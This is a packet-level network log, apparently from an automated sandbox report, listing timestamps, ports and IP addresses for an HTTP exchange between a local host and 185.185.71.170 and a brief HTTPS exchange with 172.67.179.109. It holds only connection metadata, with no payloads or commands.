Dec 18, 2024 15:56:31.349704981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.349796057 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.353821993 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.353991985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.354057074 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.362219095 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.365293980 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.365360022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.365493059 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.373666048 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.373729944 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.373801947 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.382255077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.382307053 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.382338047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.390530109 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.390590906 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.390656948 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.399136066 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.399147034 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.399195910 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.407340050 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.407387018 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.407454014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.415805101 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.415860891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.415863991 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.424273014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.424316883 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.424350977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.432427883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.432446003 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.432492971 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.484636068 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.541589975 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.541651011 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.541742086 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.542968035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.543030024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.543076992 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.547831059 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.547919035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.547966957 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.552241087 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.552335024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.552385092 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.556327105 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.556372881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.556453943 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.561343908 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.561393976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.561439991 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.566051006 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.566162109 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.566211939 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.570837021 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.571070910 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.571127892 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.575563908 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.575716972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.575783968 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.580369949 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.580710888 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.580768108 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.585135937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.585239887 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.585295916 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.589915991 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.589984894 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.590037107 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.594655991 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.594759941 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.595002890 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.599451065 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.599553108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.599634886 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.604245901 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.604296923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.604397058 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.609045982 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.609132051 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.609184980 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.613853931 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.613933086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.613989115 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.618693113 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.618844986 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.618906021 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.623398066 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.623502016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.623569965 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.628169060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.628266096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.628310919 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.632905006 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.633100986 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.633162975 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.637732983 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.637902021 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.637957096 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.642568111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.642621040 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.642715931 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.661465883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.661516905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.661567926 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.733700037 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.733901978 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.733997107 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.735575914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.735719919 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.735770941 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.739341021 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.740722895 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.740763903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.740797997 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.744509935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.744582891 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.744626045 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.748128891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.748197079 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.748333931 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.751764059 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.751812935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.751842976 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.755508900 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.755546093 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.755584955 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.759159088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.759171963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.759248018 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.762419939 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.762505054 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.762547016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.765577078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.765688896 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.765691996 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.768923044 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.768986940 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.769282103 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.772176981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.772234917 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.772243023 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.775634050 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.775716066 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.775732040 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.778723955 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.778810978 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.778903961 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.781826019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.781910896 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.781946898 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.784984112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.785028934 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.785054922 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.788264990 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.788337946 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.788399935 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.791433096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.791522026 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.791588068 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.793595076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.793641090 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.793648005 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.795221090 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.795298100 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.795300007 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.797012091 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.797130108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.797133923 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.798964977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.799029112 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.799084902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.800791979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.800875902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.800877094 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.802772999 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.802881002 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.802900076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.804657936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.804739952 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.804858923 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.806469917 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.806622028 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.806633949 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.808330059 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.808428049 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.808449030 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.810203075 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.810271025 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.810318947 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.812057972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.812150955 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.812189102 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.814091921 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.814181089 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.814266920 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.815797091 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.815860033 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.815984011 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.817706108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.817764044 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.817857027 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.819578886 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.819679022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.819694042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.821440935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.821499109 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.821552992 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.823412895 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.823478937 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.823530912 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.825182915 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.825275898 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.825299978 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.827090979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.827153921 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.827229977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.829000950 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.829016924 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.829076052 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.830787897 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.830841064 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.889621973 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:31.889775991 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:31.899547100 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:31.899580956 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:31.899976015 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:31.901884079 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:31.901884079 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:31.901988029 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:31.926038980 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.926470995 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.926641941 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.926971912 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.927094936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.927158117 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.927226067 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.928850889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.928929090 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:31.928940058 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:31.969033957 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.011411905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.011437893 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.011782885 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.012012959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.012084007 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.012197018 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.013189077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.013277054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.013390064 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.014491081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.014596939 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.014739037 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.016349077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.016391039 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.016439915 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.018112898 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.018174887 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.018274069 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.020051956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.020180941 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.020241022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.021924019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.022109985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.022583961 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.023703098 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.023821115 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.023859978 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.025604963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.025706053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.025753021 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.027498960 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.027617931 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.027684927 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.029357910 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.029449940 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.029515982 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.031246901 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.031290054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.031339884 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.033134937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.033205032 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.033257961 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.034980059 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.035024881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.035140038 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.036865950 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.036942959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.036998987 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.038712025 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.038844109 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.038899899 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.040635109 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.040697098 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.040752888 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.042593956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.042707920 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.042763948 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.044358969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.044522047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.045315981 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.046225071 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.046333075 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.046386003 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.048135042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.048207045 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.048259974 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.050159931 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.050175905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.050239086 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.052011967 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.052129030 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.052184105 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.053833008 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.053963900 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.054009914 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.055727959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.055803061 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.057565928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.057634115 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.057660103 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.058856964 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.059461117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.059550047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.059592962 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.061337948 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.061464071 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.061561108 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.063189983 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.063244104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.063302040 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.065073967 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.065160990 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.065220118 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.066914082 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.067015886 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.067074060 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.068820953 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.068929911 CET	80	49801	185.185.71.170	192.168.2.10
